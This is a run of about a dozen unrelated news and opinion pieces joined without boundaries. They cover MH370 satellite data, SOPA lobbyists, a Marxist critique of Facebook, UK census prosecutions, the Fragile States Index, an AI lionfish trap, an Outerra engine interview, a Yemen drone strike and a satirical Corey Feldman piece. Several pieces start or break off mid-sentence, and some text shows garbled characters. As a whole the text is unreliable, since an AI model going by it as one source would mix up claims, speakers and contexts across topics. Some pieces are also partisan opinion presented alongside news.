If that were all there was to it, then the story would end there. You would never be able to pinpoint your brother-in-law’s location, and Inmarsat would never be able to locate MH370. But there’s a wrinkle. Your brother-in-law thinks that you’re standing still in a certain position, but in fact you’re a short distance away from that spot, and you’re moving. As a result, what you hear isn’t exactly F sharp.
In the case of MH370, the satellite communication equipment was programmed to assume that the Inmarsat satellite in question was orbiting over a fixed position at the equator. But in fact its orbit has a slight wobble. During the hours the plane was missing, the satellite was above the equator, moving first north, and then south with increasing speed.
This error in calculating the satellite’s position means that the plane’s electronics failed to correctly compensate for its own velocity. When the plane first disappeared from radar, the angular distance between where the satellite was and where the plane thought it was amounted to about 3 degrees, enough to generate a velocity error of 20 miles per hour.
As the hours passed and the plane got farther away from the satellite, this effect became less pronounced. At the same time, however, a second source of error was growing: The satellite was accelerating on its path toward the Southern Hemisphere. This would cause it to receive an unexpectedly higher frequency from a plane flying south of the equator, and an unexpectedly lower frequency from a plane flying north of the equator. What’s more, this effect would become more pronounced the further the plane was from the equator. A plane traveling north at 450 knots would be traveling away from the satellite at 16 knots more than expected by the end of its flight. For one traveling south at 450 knots, the error would be in the other direction, to the tune of 18 knots.
Understanding all this, we can at last make sense of the mysterious BFO chart from March 25. Just after the plane disappeared from radar, the plane’s position error would have made a northbound plane’s transmission frequency too high, then after a few hours the satellite velocity error would have made it increasingly too low. Conversely, in the early hours after its disappearance position error would have made a southbound plane’s frequency too low, but then satellite velocity error would have gradually made it get higher.
Image by Jeff Wise
Because the satellite’s velocity error becomes so dominant toward the end of the flight, and because that error varies strongly with the latitude at which the plane happened to be, the BFO value basically tells you where along the final “ping arc” the plane was when it neared the end of its flight. And this, we can assume, is why the authorities have been searching the particular stretch of ocean they’re looking at now.
For those like me, who thought it possible, even likely, that the plane might have gone north, this comes as bad news. It seemed to me that there were lots of potential motives perpetrators might have for taking a plane north; what’s more, if the plane went north, one could entertain hope that the passengers might still be alive. At the time I first made that suggestion I was roundly criticized by those who preferred the theory that the plane’s change of course was a result of mechanical mishap. The fact is that none of us had enough information to prove our case, but we were making good-faith efforts to make sense of limited data. Indeed, even now the flight path that we’re left with is difficult to make sense of, since it jibes with neither a deliberate action nor a mechanical failure. Perhaps, as some have suggested, the disappearance took part in two phases: first, a deliberate diversion of the plane to a westerly course, and then, at around 18:25 GMT, an accident or act of violence that sent it heading south as a ghost ship.
To be sure, then, the solution of the Inmarsat data mystery leaves plenty of questions to be answered. If the plane did go into the ocean, why hasn’t any debris been found? If it tracked south over Indonesia, why wasn’t it picked up on radar? And if the final BFO value should give such a clear indication of where the plane wound up, why have the authorities shifted the search area multiple times—and why are experts within the search, as reported yesterday by the Wall Street Journal, continuing to debate the significance of factors like airspeed and fuel burn?
For me, though, the most perplexing question is why the authorities released the Inmarsat information the way they did. For nearly three months now, the public, and in particular the passengers’ families, have struggled to understand why the authorities were so adamant that the plane had gone south. Instead of simply explaining the facts, which as I describe here seem to be pretty straightforward, they obfuscated, delayed, and bluffed. When they finally did reveal the truth, they tucked it away inside a ream of data so as to make its revelation as difficult as possible.
At any rate, the end effect is the same: We the public finally understand the official stance on the fate of the plane. But Inmarsat and the Malaysian authorities could have gotten us to this point without seeming mean-spirited and obstructionist.
This article is part of Future Tense, a collaboration among Arizona State University, the New America Foundation, and Slate. Future Tense explores the ways emerging technologies affect society, policy, and culture. To read more, visit the Future Tense blog and the Future Tense home page. You can also follow us on Twitter.Shockingly Unshocking: Two Congressional Staffers Who Helped Write SOPA/PIPA Become Entertainment Industry Lobbyists
from the revolving-door dept
Allison Halataei, former deputy chief of staff and parliamentarian to House Judiciary Chairman Lamar Smith (R-Texas), and Lauren Pastarnack, a Republican who has served as a senior aide on the Senate Judiciary Committee, worked on online piracy bills that would push Internet companies like Google, Yahoo and Facebook to shut down websites that offer illegal copies of blockbuster films and chart-topping songs.
�They can provide invaluable insight to people on the outside � even in the consultation mode,� one tech industry lobbyist said, noting that Halataei had been Smith�s secondhand person and knows how the Texas Republican thinks and what would be an effective lobbying strategy.
Additionally, the Senate and House panels work closely together, and both Halataei and Pastarnack have ties to staffers in the chambers they didn�t serve in and aren�t banned from lobbying.
Two high level Congressional staffers who have been instrumental in creating or moving forward both PROTECT IP (PIPA) and SOPA have left their jobs on Capitol Hill and taken jobs with two of the biggest entertainment industry lobbyists, who are working very hard to convince Congress to pass the legislation they just helped write. And people wonder why the American public looks on DC as being corrupt.Pastarnack went to the MPAA where she'll be "director of government relations" and Halataei to the NMPA (music publishers and songwriters) where she'll be "chief liaison to Capitol Hill." The Politico article linked above notes that this kind of "revolving door" is all too common. It may not be directly corrupt, but to the public it surecorrupt. It certainly gives off the appearance of "hey, write us the insane bill that we want, and then we'll reward you with a super cushy high paying job." At the very least, it should raise significant questions about whether or not these two bills were written with the public's interest in mind (I know, I know, don't laugh....) or their future employers'. Technically, neither of them can directly lobby the specific committees where they worked, but they can certainly assist in the process.Also, as the Politico article notes, a year from now, you can bet there will still be fights about either this or similar legislation. American politics is a disaster.
Filed Under: allison halataei, congress, copyright, corruption, laren pastarnack, lobbyists, pipa, protect ip, revolving door, sopa
Companies: mpaa, nmpaIn 2004, Harvard student Mark Zuckerberg launched Facebook from his dormitory room. Facebook went public in early 2012. Zuckerberg was already a billionaire at the age of 23. Today, this social medium has a market capitalization of over $463 billion. Zuckerberg’s current net worth is over $63 billion, ranking him as the fifth richest person in the world, according to Forbes.
How could so much wealth and capital be so quickly accumulated in one person’s hands?
The short answer is monopoly. With more than 2 billion monthly active users, Facebook has a virtual monopoly of social media, messaging and networking traffic. It achieved that monopoly in large part thanks to a vital tool of capitalist accumulation: patents.
Patents provide monopoly profits
Patent law provides the patent holder, in return for public disclosure of the invention, with the exclusive right to make, use and sell the invention for a limited period (20 years for most patents). In other words, patents confer a government-authorized “intellectual property” right to exclude competition and monopolize.
With patent rights in hand, capitalists can use and even sell information without fear that disclosure will render it worthless. Patents thereby transform ideas and information into profitable private property.
Facebook’s superprofits derive from ownership of patents relating to digital content display and communications. Those patents allow Facebook (including subsidiaries like WhatsApp, Messenger and Instagram) to control much of the internet’s social media and messaging traffic.
That control in turn enables Facebook to charge monopoly prices for displaying content that it does not make itself, thereby garnering immense revenues without incurring the costs of production.
There are no inherent barriers that prevent the free flow of information over the internet. But free flow is not conducive to private profit, the lifeblood of capitalism. To allow a few monopolists to profit at the expense of the many, capitalism created artificial barriers to free flow by developing intellectual property law.
The initial reasons given for designing patent laws were to encourage and protect individual inventors. But as capitalism developed, large corporate interests replaced individual creators as the beneficiaries of patent law. Today, most companies require their employees to sign over their innovative ideas to the companies themselves. In this way the companies secure most of the resulting profits.
Facebook too maintains its monopoly status by free riding on inventions that others create. Although Facebook applies for hundreds of patents each month (tinyurl.com/mjn42n5), it has purchased most of its patents and patent applications, including those covering its “news feed” and “like” button, from the actual inventors or other companies.
Like other tech giants, Facebook spends vast sums to acquire huge patent portfolios, allowing it to expropriate others’ innovations and multiply profits. It then wields its patent rights against potential competitors by suing or fighting lawsuits. (tinyurl.com/y9levzao)
Facebook’s only significant assets are the personal data it has collected on users and the patents it owns to ensure its sole control over gathering and use of that data. That control allows Facebook to reap the benefits of highly targeted advertising as well as to finance other ventures.
Zuckerberg might object that no one is forced to join Facebook. But no one forced people to buy TVs in the mid-twentieth century either, yet in practice few believed they could do without them. It is likewise becoming increasingly difficult to function in today’s world without Facebook and other social media. This means big bucks for Zuckerberg and his cronies.
Data control provides revenue bonanza
It is hard to overstate the reach of Facebook’s data accumulation. Rapidly developing technology allows Facebook to know (or infer) who you are and what you are like, where you are and where you will be, what you are doing and why you are doing it — and even what you will do next.
Access to this intimate customer data enables content providers to immediately tailor retail prices to individual need and ability to pay, as well as ascertain minimum acceptable quality and service. This data-driven opportunity to increase sales and prices represents an enormous commercial jackpot.
Facebook’s data dominance largely precludes competitors. As a result, it has reaped monopoly profits by rapidly raising advertising and content placement rates.
Facebook amounts to a three-sided network composed of users, content providers and advertisers. Its profits derive from the “network effects” of connecting these three elements. Facebook acts as intermediary on virtually every transaction, getting paid big time for simply matching buyers with sellers. When you click a link on a Facebook page and buy a product or service, Facebook gets its behind-the-scenes cut.
Advertisers and companies pay Facebook for access to the data and users it controls. Those who make the payments haven’t bought the ownership of Facebook’s data or intellectual property; rather, they lease access to the information much like a landowner leases land and access to water.
But unlike with land, which can be leased to only a single lessee at a time, information can be leased to an enormous number of lessees. That enables Facebook to generate vast inflows of revenues from its patent-based monopoly.
At bottom, companies that sell products and services effectively pay “information rent” to Facebook for the right to use information over which Facebook maintains a monopoly due to its patents.
As a Facebook user, you might say: “So what? I don’t pay anything to use Facebook.” But, in fact, you pay plenty. Facebook’s monopoly of vital consumer information enables it to charge inflated prices to advertisers and commercial purchasers of that information, who then pass on those inflated prices to the ultimate consumers of their products and services.
In other words, those billions piling up in Mark Zuckerberg’s coffers are being squeezed out of all of us.
Facebook’s monopoly may eventually collapse due to expiration of its patents or for other reasons (technological, legal), but only after many years of extracting monopoly rents, inflating consumer prices and stifling innovation.
Facebook’s role in the capitalist economy
From a Marxist economic perspective, what role does Facebook play?
Marx explained that capitalism enables industrialists to obtain more value from their workers’ production than the value of the wages paid to those workers. That difference he called “surplus value.” The industrialist obtains “absolute” surplus value by lengthening the working day, and “relative” surplus value by increasing labor productivity.
Broadly speaking, Facebook’s enclosure of valuable information both facilitates creation of relative surplus value and dictates distribution of total surplus value among capitalists.
First, data centralization and display likely enhance labor productivity throughout the economy by reducing data-gathering time and thereby extracting more value per worker, increasing relative surplus value.
Second, and more significantly, Facebook and other data giants obtain an increasing portion of total surplus value by their consolidating, packaging and selling of valuable information. In the past decade, some $50 billion per year has been reallocated from content creators to owners of monopoly platforms like Facebook.
According to the former editor of The Guardian, a British newspaper, Facebook “sucked up $27 million” of the paper’s projected 2015 digital advertising revenue by locking readers onto Facebook rather than linking them to the Guardian site. “If you control the menu,” he noted, “you control the choices.” (tinyurl.com/yd3a52cz)
The upshot is that intellectual property rights facilitate the transfer of much of the total surplus value produced by the global working class into the hands of information monopolists. Whether these “information monopolies” are bringing about a great enough change to represent a new phase of monopoly capitalism is a question that invites serious analysis.
In any event, the ability to generate and provide access to vast troves of information is clearly a major productive force in contemporary capitalism. The contradiction between continued growth of this force of production and the prevailing relations of production (private information monopolies) appears unsustainable.
Fear that their vast wealth may tumble like a house of cards motivates occasional forays into philanthropy by Zuckerberg and other information technology tycoons like Bill Gates of Microsoft and Jeff Bezos of Amazon to assuage suffering from the inequalities they helped create. But philanthropy cannot resolve the explosive contradiction at the heart of the information economy.
Capitalism, with its private ownership of the means of production, must be overthrown to unleash the full potential of the information age. Replacing capitalism with socialism will remove the monopolistic fetters of private intellectual property and establish a planned economy to ensure that useful ideas and information serve everyone and are no longer hijacked to create instant billionaires like Mark Zuckerberg.Among those who did no participate in 2011 census were 'conscientious objectors' to Lockheed Martin UK's involvement
At least 120 people have been convicted for failing to complete their 2011 census forms, according to figures from the Office for National Statistics.
A number see themselves as conscientious objectors who are being prosecuted for refusing to fill out the forms because of the involvement of the defence contractor Lockheed Martin UK, which won the £150m contract to run the census.
By this week the ONS had referred 369 cases to the Crown Prosecution Service; of those, 157 prosecutions have been brought to court, with 120 resulting in convictions. Those found guilty face a maximum fine of £1,000 and a criminal record. The remaining 37 cases are classified as "conversions", where the defendant completed the census form at court.
The number of forms deliberately not filled in is unknown, but the ONS expected 24.5 million forms to be returned and received 22.9 million, a shortfall of 1.6 million. Once anomalies, such as vacant properties, have been taken into account, that number will fall.
John Marjoram, a local councillor and Green party mayor of the Cotswolds town of Stroud, refused to complete the census because of the involvement of Lockheed Martin UK. "When I was 18 I refused to fire a rifle on military service," he told the Guardian. "I couldn't live with myself if I collaborated with a military company."
Marjoram received his summons in early January. "Just after Christmas two people knocked on the door. I was busy cooking lunch. They were very nice and pleasant and understanding of where I was coming from, and the next thing was I got a summons."
Some of those being prosecuted have complained that they have been given court dates far from their homes. Marjoram's trial is set not for the magistrates court in Stroud, but 32 miles away in Bristol. John Voysey, who like Marjoram is a Quaker, has been summoned to appear in court in Wrexham on 1 February, 65 miles from his home in Ludlow.
"I've been extradited to a foreign country," said Voysey, 82, who first registered as a conscientious objector in 1947. "As soon as we heard that Lockheed Martin were involved we said we're not going to fill it in."
Lockheed Martin UK is a wholly owned subsidiary of the US defence contractor Lockheed Martin, which makes Trident nuclear missiles, cluster bombs and F-16 fighter jets. The UK subsidiary also provides the Royal Mail with address recognition technology. It was awarded the census contract in 2008 by the Labour government; overall the census was budgeted to have a total cost of £482m.
Groups opposed to Lockheed Martin's involvement in the census like to point to a quote from Lorraine Martin, a company vice-president, who said: "We want to know what's going on any time, any place on the planet." However a company spokesman said: "No Lockheed Martin employee has access to the [census] data."
Voysey expressed surprise that prosecutions were being pursued. "Before the election the Conservatives said this was going to be the last census. How can you punish people for something that is not going to happen again?"
Many of those accused under section eight of the 1920 Census Act say that they are being targeted because of their political beliefs. They wonder how the decision to prosecute almost 400 people was taken when so many forms were not returned.
A spokesman for the ONS, which runs the census in England and Wales, said: "Where there is evidence that householders have wilfully refused to complete a census form, the evidence has been presented to the Crown Prosecution Service, which then decides if a prosecution will go ahead."
The rate of prosecutions represents a sharp increase on the last census, in 2001. Then there were only 43 prosecutions, resulting in 38 convictions. Previous censuses have seen varying levels of prosecution. The highest number of successful prosecutions was 692 in 1981. In 1991 there were 342, while 1951 saw just 57.
Anti-census campaign group Count Me Out said the number of prosecutions showed it had been a mistake to give the contract to Lockheed Martin UK, adding that this had made the census less accurate.
• This article was amended on 31 January 2012. The original said that among the 120 people so far convicted, some might simply have forgotten to fill in their census form. This has been deleted. The Crown Prosecution Service has asked us to make clear that conviction of a person who had forgotten to complete the form is unlikely, as at least three further chances are offered to those facing a possible charge – first during the investigation process by the ONS, again when a summons is issued, and finally at court before their case goes ahead.Getty Image
An extensive Washington Post report released on Saturday takes a look into Steve Bannon’s life as a “virtual nomad,” attempting to piece together a clearer image of the White House’s most polarizing figure — even more than Donald Trump. While we’ve gotten glimpses of Bannon in the past, including his connection to Seinfeld and his admiration for Satan and Darth Vader, his private life has only been shown in bit pieces. The WaPo piece attempts to clear up one part by looking into Bannon’s various living arrangements across the nation.
While the entire piece if extensive and exhaustive, looking at Bannon’s homes in California, New York, and Washington D.C., it’s his already controversial home in Florida that seems to be garnering the most attention. The home in Miami-Dade country was already under scrutiny due to claims that Bannon used the location to register to vote in more than one state. Back in August, the house was confirmed to be empty and cleared out by the owner of the Coconut Grove home, but Bannon was still registered to vote there from 2014 until August 2016. Miami prosecutors are looking into those claims, but they’re far from the most interesting part of the story according to The Washington Post:In 2013, just how much did the United States suffer from the government shutdown? Did India’s economic slowdown affect its overall security and governance? And did the Arab Spring make any lasting progress toward genuine democracy? The very structure of a country, even a healthy one, can be challenged by overwhelming events during the course of a year -- and the consequences inform not only the legitimacy of the state, but also the experiences of its citizens, often for decades to come. For 10 years now, the Fragile States Index, created by The Fund for Peace and published by Foreign Policy, has put countries into perspective by providing an annual snapshot of their vitality and stability (or lack thereof) and ranking them accordingly. (This year, the name of the project has been changed from the Failed States Index to the Fragile States Index. While the methodology remains the same, the new title is an acknowledgment that all states, to different degrees, face conditions that threaten the livelihoods of their citizens.) What these metrics often show is that rarely, if ever, do states change fundamentally from year to year: Nine of the index’s 10 most fragile states in 2013, for instance, held the same distinction the prior year. Look a little closer, however, and there are significant, even surprising, developments and trends -- in single countries, across regions, and even within the index’s 12 political, economic, and social indicators. The 2013 overview uses data gathered throughout that calendar year (so readers will have to wait a while longer to learn how Russia’s foray into Ukraine affected both countries). The index shows how, within a relatively short time frame, the promise of nascent democracies can quickly unravel. The hope for groundbreaking change in Libya was quashed, as the embattled central government struggled to bring armed militias to heel. And despite optimism from its economic and political benefactors in the West, South Sudan -- the world’s newest country -- took a dive in stability as it descended into civil war. But there is good news too. Iran, having initiated tentative nuclear negotiations with the West, has the most improved score on the index. And several emerging economic powerhouses weathered internal strife -- an unprecedented corruption crackdown in China and anti-government protests in Turkey, for instance -- to see improvement in their scores. More unexpected, perhaps, is that North Korea is less fragile than one might think, as the index’s “Human Flight” indicator shows. And though the West likes to pride itself on being stable in comparison with the rest of the world, the data show this isn’t necessarily the case on all fronts: Partisan bickering and the controversial activities of the National Security Agency, for instance, worsened the U.S. score. Although the overall picture here might seem familiar, the numbers themselves reveal narratives that were unforeseen, and perhaps overlooked, in 2013.
Fragile States: Rankings and Map Least Fragile Most Fragile Scroll to Zoom the Map, Click and Drag to pan Countries By Rank Select a Country XXX Rank XXX.X Score Indicator Scores Click on any table header to sort the table by column Defining the Indicators Demographic Pressures: Concerns related to population, such as food scarcity, population growth, and mortality rates. Refugees and Internally Displaced Persons: Concerns associated with population displacement and refugees. Group Grievance: Tensions and violence among groups within the state. Human Flight and Brain Drain: Levels of migration out of the country including, but not limited to, the flight of refugees and educated individuals. Uneven Economic Development: Disparities in development among different ethnic and religious groups and among regions within the state. Poverty and Economic Decline: Poverty rates and economic performance. State Legitimacy: Corruption and other measures of democratic capacity, such as government performance and electoral process. Public Services: Provision of education, health care, sanitation, and other services. Human Rights and Rule of Law: The protection and promotion of human rights. Security Apparatus: Internal conflict and the proliferation of nonstate armed groups. Factionalized Elites: Conflict and competition among local and national leaders. External Intervention: Levels of foreign assistance as well as imposed interventions, such as sanctions or military invasion.
Notable Changes and Scores TURKEY: ISTANBUL RISING At first glance, it would seem Turkey had a rough year: Corruption scandals forced several ministers to resign, anti-government protesters clashed with police in a number of cities, and the country continued to incarcerate journalists at an alarming rate. Yet the country made modest progress on the Demographic Pressures, Public Services, and Security Apparatus indicators, to emerge as one of the index’s most improved countries. UNITED STATES: AMERICAN EXCEPTIONALISM The political brinkmanship that has defined Washington throughout Barack Obama’s administration came to a head during the government shutdown in October 2013. As a result, the United States had its worst score on the Factionalized Elites indicator in the nine years that the country has been included in the index. The release of classified NSA documents by Edward Snowden, as well as the April 2013 bombings at the Boston Marathon, also contributed to the country’s comparative decline. ZIMBABWE: STRONGMAN’S SURPRISE President Robert Mugabe’s administration maintains an abysmal human rights record. Yet a little good news may finally be coming out of Zimbabwe. In 2013, the government instituted some positive, albeit tenuous, political reforms, including approving a new constitution that limits future presidents to two terms. And while still struggling with poverty, Zimbabwe has seen significant economic growth in recent years. SINGAPORE: the rich and the rest Singapore remains one of the world’s richest countries. But while its economy continued to perform well in 2013, the country faced pressures in other areas that worsened its overall rating. Pollution, due in large part to the burning of forests in nearby Indonesia, was at record levels. In December 2013, 400 foreign workers clashed with police -- the country’s largest riots in more than four decades -- after an Indian migrant worker was reportedly hit by a bus and killed; the incident highlighted simmering resentment among some low-wage foreign laborers about perceived discrimination and poor working conditions. BOSNIA-HERZEGOVINA: BALKAN RISE Ten years ago, Bosnia-Herzegovina was still struggling to build a sustainable state after the 1990s war that tore it apart. Since then, the country has improved more than any other country in the index. Major concerns about ethnic tensions, corruption, and governance remain, but the disparities among different groups and regions have greatly improved, as have measures related to refugees, internally displaced persons, and demographic pressures. Population Principles At its core, beneath the indicator scores and state-by-state rankings, the Fragile States Index is a measure of the livelihoods of real people. Security-force abuses and inadequate public services, for instance, are not simply inputs into a formula; they are parts of citizens’ everyday reality. So how, then, is most of the world living? It turns out, not so well. With “Very High Alert” describing those nations that are the most fragile, “Warning” describing those that fall in the middle, and “Very Sustainable” as the most stable countries, a little over half of the index’s populations live in the “High Warning” group of states, while only 17 percent live in more stable nations. To look at the data another way, a little more than 83 percent live in “Warning” nations or worse.
Postcards from Hell Postcards from Hell Photos of life and death in the world’s 50 worst places.Good health is the most important requirement for leading a fulfilling life. It is a prerequisite to attaining one’s full potential, which translates into social and economic benefits for the entire community. India is a country where great disparities exist, and millions are deprived of access to critical amenities such as affordable healthcare. This leaves a large section of our population vulnerable to infectious diseases such as tuberculosis.
In December 2014, the municipal corporation of Greater Mumbai (MCGM) launched the ‘TB Harega, Desh Jeetega’ campaign to create awareness about TB prevention and control. When i was approached by MCGM to be the ambassador for this campaign, i felt it was my duty towards my fellow Indians to be involved.
I too had endured the challenges of facing the disease and the discipline and difficulty of the stringent adherence that the treatment regimen requires. At the launch of this campaign, i was finally able to speak out in public about my experience with TB.
Our government and authorities have worked hard to reduce the burden of TB. The revised national TB control programme (RNTCP), which operates through 4,00,000 directly observed treatment short-course (DOTS) centres all over India to provide free diagnosis and treatment, ensures that the Indian health system is continuously building itself to tackle the huge burden of TB.
TB has debilitating effects. It can lead to a prolonged and possibly bloody cough, weight loss and weakness, low grade fever and an overall deterioration of a person’s health. The need to |
ahead of the curve" protecting America and did not want to end up "looking in the rear view mirror after an attack. He said the "majority of Americans" agreed with Mr Trump.
"You don't know when the next threat or attack is coming so you get ahead of it," Mr Spicer said. "The president is not going to wait, he's getting ahead of threats. The key is not to wait until it happens. The theory is not to wait, to get ahead of the curve.
"We don't know when that hour comes, when that individual crosses the border to do us harm. It could be the next day next week."
He said 109 people had been "temporarily inconvenienced for the good of us all" by being detained at airports and the furor had been "blown out of proportion".
Mr Spicer said he was "sorry some folks had to wait a while" but the president would "prefer that he doesn't have to make a call because someone was killed".
He added: "If career bureaucrats have a problem I think they should either get with the programme or go. There's a reason the majority of Americans agree with the president.
"If you look at the polls the majority of Americans agree with the president. Frankly, government functioned very well. the system actually worked very well. The government did a phenomenal job of processing people through.
"The American people wanted decisive leadership. They're getting it. The safety of the American people and the safety of the homeland continue to be the president's priority."Article body copy
Maria and Bob Hickerson saw their first lionfish on a diving trip in Jamaica in 2009. When they spotted it, they hurried over before this unfamiliar specimen could swim away. But instead, the fish seemed to pause.
“It preened like a peacock,” Maria says.
They took photos and told the dive operator about the fish. He asked for details about where they spotted it.
“He said, ‘I’ll send my guys to kill it,’” Bob says. “That was our wake-up call.”
The US National Oceanic and Atmospheric Administration speculates that home aquarium owners dumped unwanted lionfish off the Atlantic coast around 30 years ago, starting an invasion that continues to grow. A native of the Indo-Pacific, the spined fish has spread from North Carolina to the Gulf of Mexico, throughout the Caribbean, and along the Brazilian coast. With no natural predators, a wide-ranging diet, and quick reproduction rates, lionfish are poised to overrun ecosystems and undermine the tourism and fishing industries.
Not long after that dive in 2009, the Hickersons started spotting lionfish off the east coast of Florida, where they live. Determined to do something, the Hickersons, who worked as a general contractor and dive instructor, got involved in fighting the invasion. They developed tools, starting with the Frapper, a small, compact spear that they both used and sold. They decided a trap, one that could hold many lionfish and go deeper than divers, would be a good addition to their arsenal.
That idea grew into the Frapper Trap. The Hickersons tested out multiple shapes and sizes to make their trap housing appealing to lionfish. But the real advance came from Maria’s father, computer scientist Gonzalo de la Peña Casares, who suggested adding artificial intelligence to the mix.
What de la Peña Casares came up with was a computer vision algorithm, a subset of machine learning and artificial intelligence. The trio came up with a credit-card-sized computer to go in a waterproof housing attached to the trap, which now had a two-part design. When marine life swims into the first section of the trap, a gate closes behind it. A camera takes multiple photos, which the computer compares against images of lionfish and other marine life. If the captive is not a lionfish, the gate reopens and it can swim away. If it is a lionfish, a different gate opens—this one leading to the main enclosure. Driven by machine learning, the algorithm gets better at recognizing lionfish with each encounter.
Artificial intelligence is already making its way into everything from cellphones to cars, and conservationists are now testing what it can do for them. Other projects have used facial recognition to categorize whales and track fish stocks.
Unlike Google and Facebook, conservationists don’t always have access to the massive data sets often required to effectively drive artificial intelligence and machine learning. De la Peña Casares, however, built the algorithm to recognize the silhouette of a lionfish with just over 800 images, a small amount compared to the thousands or millions of data points often used. The Frapper Trap gets away with such limited data as there are only so many types of marine life that occupy the same space and region as the lionfish, so the algorithm doesn’t need to know every fish in the sea. Bob says the only concern was that the spiny lobster, which resembles the lionfish, might give the algorithm some trouble, but so far it has had no problem differentiating the two.
Other organizations combating lionfish have been eager to join in. The Hickersons got a two-year grant from the US Geological Survey to test the trap first in a saltwater tank and then in open waters. Carole Baldwin, a research zoologist at the Smithsonian, took two prototypes out on a fieldwork trip off the coast of Curaçao. Those trials have focused on the trap housing itself, while field testing of the electronics and the selection algorithm will come later.
The Cayman Islands Department of Environment is also interested in trying out the Frapper Trap in its marine protected area and the Nature Foundation St. Maarten is exploring working with the trap’s technology. They want to figure out a way to add the technology onto watermen’s traps, and then pay them to capture lionfish in their off-season.
The main holdup is funding, which the Hickersons are trying to solve with an online fundraiser. Once they have the money, lionfish could find themselves faced with a new predator: artificial intelligence.Outerra made a lot of attention lately, halfway between simulator and pure technological innovation, the concept looks like it contains a wealth of possible future opportunities. Thomas Gasser/simflight.FR asked a few questions:
First of all thanks Brano Kemen for answering my questions, can you briefly explain for everybody what is Outerra?
What most people recognize behind the Outerra name is the Outerra engine, a special 3D “world engine”, meaning a 3D graphics engine that’s capable of rendering whole world with full range of details, from space down to the ground level.
Apart from that, Outerra is also the name of our company, founded in 2010 in Slovakia.
Who is behind Outerra? Can you tell us who is working for Outerra?
We are a small team – the core is made of just two people: Laco “angrypig” Hrabcak and me. Our tasks on the engine are quite intertwined, but the main areas that Laco is handling are the low-level OpenGL-based rendering engine, input handling, integration of physics and embedded web browser, tree generator. I’m mainly focusing on the environment: terrain generation and rendering, atmosphere and water.
We have also a couple of external co-workers that cooperate with us on various aspects of the development.
Today, what are Outerra Engine’s features?
Outerra engine (referred to as OT) is a procedural engine: it uses procedural algorithms to generate the world. Unlike many other procedural engines it can also use real world data very effectively. As the result it’s capable to render our planet using available global elevation data (currently 90m resolution), that it then further dynamically refines with procedural algorithms, creating centimeter-sized details.
It also uses procedural algorithms for things like texturing, tree placement and much more.
While the procedural layer will be eventually capable of recreating natural Earth environments, a planet without humans, the engine also integrates a vector-data stage that allows it to overlay things like roads, land-type definitions etc, enabling it to incorporate the effects of civilization into the world.
In addition it integrates two physics engines: JSBSim for flight dynamics modeling, and Bullet Physics for vehicles and object interaction. But basically these two are just demoing the possibility to integrate physics and other libraries with OT.
What is about weather rendering in Outerra?
The engine is still in a relatively early “alpha” state of development, and as such it’s still missing many features it’s supposed to get ultimately. Weather is one of these areas, together with additional biomes and urban area generators it’s the stuff in development.
And addons? (sceneries and aircraft)
What we’ve got there so far is basically for demo purposes only, but we are now also working with other developers to get their models into Outerra. We’ll be releasing a model importer that will allow people to import their stuff, optionally tying it with physics models either from JSBSim or the built-in vehicle physics.
Are you creating a new Flight Simulator?
A short answer would be no, as we aren’t trying to make a flight simulator comparable to what these devs are/were doing. We aren’t large enough for the task (yet), and we are no dedicated simmers either. Our domain is terrain rendering and connected areas, and that’s what we are focusing on currently. Of course, with the global simulator platform in mind, we are adding some simulator-related features even now.
So, which are Outerra ambitions? Purpose?
There are many, but with relation to simulators, one of our goals is to create a global simulator/game platform that can be used for development of planet-wide games, but also for a global simulator world where other developers could provide their content – models, scenery, simulation cores that can be plugged into Outerra. All interoperable and running in one world. Imagine a world where all types of simulators can be combined and experienced seamlessly: rockets and spaceships, aircraft and gliders, ships and boats, trains, all kinds of ground vehicles. Outerra brings this possibility, but of course it is still a long way there.
But things are evolving quickly these days, after the release of tech demo people are realizing the potential that’s here, so things may change and develop in near future.
Are you heading to develop all this system on your own or is the ambition to sell or cooperate on a global project?
Well the project as such would pretty much rely on other developers jumping in and developing for it. However, the core of the system – the engine – must become robust and feature-full first, and that’s our goal and focus now. We have released a technology demo together with alpha-version of “Anteworld”, our first game running on the Outerra engine. It’s meant to be a test bed for Outerra technology, and to lay down the foundations for the future game/sim platform. It’s also helping us to fund the further development, as our supporters can buy the game in alpha state for a reduced price, getting access to regular builds and being able to play with new technology additions and even influence the development.
Other possibilities to expand more rapidly and to speed up the development are being considered as well. For example, crowd-funding via sites like Kickstarter is becoming increasingly popular and could be used to fund the development of a new simulator based on the Outerra engine. It would actually interest me to know how the sim community would react to an initiative like that.
Anyway, we are already cooperating with a few developers who see the potential and want to participate on it early, and we will be posting work-in-progress shots from it regularly.
Thanks Brano for you answers,
For more information visit the Outerra Website
This interview was conducted by Thomas Gasser and originally published on simflight.FR -> clickOne of al-Qaeda's senior commanders was killed by a US drone strike in southern Yemen, a military source told Al Jazeera.
Fighters belonging to al-Qaeda in the Arabian Peninsula (AQAP) were preparing to receive the body of Jalal Baleedi, also known as Hamza al-Marqashi, after he was killed overnight with two of his guards near the town of Azzan, the source, speaking on condition of anonymity, said on Thursday.
Reuters news agency also reported another US drone attack that killed six alleged al-Qaeda fighters in their car travelling in Yemen's southern Shabwa province.
Al-Qaeda fighters took over Azzan on Monday, and it has become the group's stronghold in Shabwa.
Originally from Yemen's mountainous Abyan province, Baleedi was identified in 2004 by the Yemen Times as being the field commander of AQAP in the southern governorates of Abyan, Shabwa, Lahj, Hadramout, and al-Beidha.
Recent reports suggested Baleedi pledged allegiance to and joined the Islamic State of Iraq and the Levant group with several other AQAP fighters, becoming the leader of ISIL in Yemen.
However, the reports were not confirmed by ISIL nor by AQAP.
Additional reporting by Nasser Al-Sakkaf↓ Continue Reading Below Advertisement
Then, Feldman puts on his finest Michael Jackson Halloween costume and heads downstairs with two lingerie models, where he bumps into Sean Astin hiding inside the body of your estranged Uncle Morris. They take a moment to look at a pirate treasure map while flanked by the statue of David -- because those are two things from that movie they made together 30 years ago that everyone liked! -- and then Feldman dismisses Sean from his presence.
Corey Feldman
Later on, they're going to go looking for One-Eyed Willy's burned-out meth trailer.
Please note that Feldman is wearing gloves that only cover half of his hands. Not fingerless gloves -- gloves that are literally so tiny, he cannot pull them down past his knuckles. He is soon joined by his backup dancers, but Feldman boldly ignores any semblance of choreography and just does his own shuffle-footed lunatic jig, occasionally grabbing his hat for no reason.
Corey Feldman
He also tries to spin in place and almost falls down.
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Feldman continues on to watch a little television, singing to us in an overproduced vocal tremor that can at best be described as "black magic" while maintaining the facial expression of a man who is struggling not to turn into a werewolf:
Corey Feldman
His third hardest struggle behind dignity and relevance.
We catch a glimpse of his band wailing away in front of the worst green screen in history:
Corey Feldman
There is no guitar in this portion of the song, but the guy on the right is committed.
